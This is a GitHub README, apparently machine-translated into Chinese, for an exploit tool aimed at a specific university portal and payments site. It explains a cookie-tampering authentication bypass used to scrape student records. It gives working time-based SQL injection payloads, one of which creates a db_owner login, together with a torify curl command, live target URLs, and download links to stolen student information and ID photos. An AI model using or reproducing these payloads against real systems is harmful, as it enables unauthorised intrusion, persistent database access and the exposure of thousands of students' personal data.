epmyas2022/uped-vunerabilidad
GitHub: epmyas2022/uped-vunerabilidad
针对大学门户网站的漏洞利用脚本,通过篡改 Cookie 绕过认证并利用 SQL 注入访问数据库。
Stars: 1 | Forks: 0
# 从 UPED 门户网站抓取漏洞的脚本
## 🗒️ 描述
该脚本允许获取学生的信息以及大学门户网站上用户的 session。此外,还能在大学的数据库的 cookie 中注入 SQL 代码。
## 🍪 漏洞原理
该漏洞在于通过篡改会话的 cookie,无需登录大学门户网站即可获取用户信息。
cookie 的结构如下:
```
{
".ASPXAUTH": "puede ser cualquier sesion",
"ASP.NET_SessionId": "id de la session del autenticacion",
"CodigoUsuario": "codigo del usuario",
"usuario": "nombre del usuario",
}
```
## 📋 环境要求
- Node.js v20.0.0
## 🚀 安装
```
git clone https://github.com/epmyas2022/uped-vunerabilidad.git
```
```
npm install
```
在 `.env` 文件中配置环境变量
```
ASPXAUTH=#de cualquier sesion
SESSION_ID=#id de la session del autenticacion
ARGS=#argumentos para el navegador
```
## 💻 命令
根据 x1 到 x2 的范围获取学生档案信息
```
npm run general
[optional | Boolean]
```
获取用户的 session
```
npm run login
```
获取学生缴费门户的 session
```
npm run pagos
```
## 🐳 使用 Docker
这在 docker 容器中运行脚本非常有用,我们可以运行 x 个数量的容器来获取学生信息。
构建镜像 (builder)
```
docker build -f .docker/Dockerfile --target builder -t uped-vunerabilidad .
```
构建容器
```
docker run -it -d -e ASPXAUTH=token -e SESSION_ID=id -e FROM=desde -e TO=hasta --privileged --security-opt seccomp=.docker/chrome.json uped-vunerabilidad
```
## 📂 文件结构
在 data 文件夹中,包含了几组用于验证大学门户网站漏洞的数据。这些数据是利用该漏洞通过脚本获取的。
总共有大约 **20,485** 条学生记录。
## 💉 SQL 注入漏洞
还发现了另一个漏洞,允许在 cookie 中注入 SQL 代码,并借此成功获取了大学数据库的访问权限。被注入 SQL 代码的 URL 如下:
```
https://myappcloud.net/uped/portal_catedratico/externa.aspx
```
SQL 注入示例
这用于验证是否存在 SQL 注入漏洞,如果存在漏洞,响应将延迟 20 秒。
```
' BEGIN WAITFOR DELAY '0:0:20'--
```
通过以下注入,成功查找到了大学数据库的名称。
```
' IF EXIST (SELECT 1 FROM sys.databases WHERE name LIKE '%uonline_uped%') BEGIN WAITFOR DELAY '0:0:20' END--
```
通过以下注入,成功在大学数据库中创建了一个用户,以供后续使用。
```
'IF (SELECT COUNT(*) FROM sys.databases WHERE name LIKE 'uonline_uped') > 0 BEGIN USE uonline_uped CREATE LOGIN mssql_user WITH password = 'your_password' CREATE USER mssql_user FOR LOGIN mssql_user ALTER ROLE db_owner ADD MEMBER mssql_user WAITFOR DELAY '0:0:20' END--
```
注入 SQL 代码的 `curl` 示例
```
torify curl -X GET "https://myappcloud.net/uped/portal_catedratico/externa.aspx" \
--cookie ".ASPXAUTH=" \
--cookie "ASP.NET_SessionId=" \
--cookie "CodigoUsuario=1789" \
--cookie "Usuario="
```
## 🐳 访问数据库
我们可以通过使用 novnc 和 dbeaver 的 docker 容器来访问数据库。
进入 `database-docker` 文件夹:
```
cd database-docker
```
运行容器:
```
docker-compose up -d
```
如果一切顺利,我们可以通过 Web 浏览器访问数据库。
[http://localhost:8080/vnc.html](http://localhost:8080/vnc.html)
## 💻 下载数据
- *ra_per_personas* 表(学生信息)[点击这里](https://u.pcloud.link/publink/show?code=XZvRx55ZgUc7an7IIyfF27CLa93Wo7KCf6Yy)
- *ra_per_foto_carne* 表(学生证件照)[点击这里](https://u.pcloud.link/publink/show?code=XZ9sx55ZEXFqi3MoUjzyXUdw1isK1jm1Wu0y)
## 🔗 存在漏洞的网站
- [x] 大学门户网站 [点击这里](https://myappcloud.net/uped/login.aspx)
- [x] 缴费门户网站 [点击这里](https://saas.spsoftware.net/uped_pagos/)
- [x] uonline_uped 数据库 [点击这里](https://myappcloud.net/uped/portal_catedratico/externa.aspx)标签:BeEF, CISA项目, Docker, GNU通用公共许可证, MITM代理, Node.js, Web安全, 安全防御评估, 数据泄露, 爬虫, 自定义脚本, 蓝队分析, 请求拦截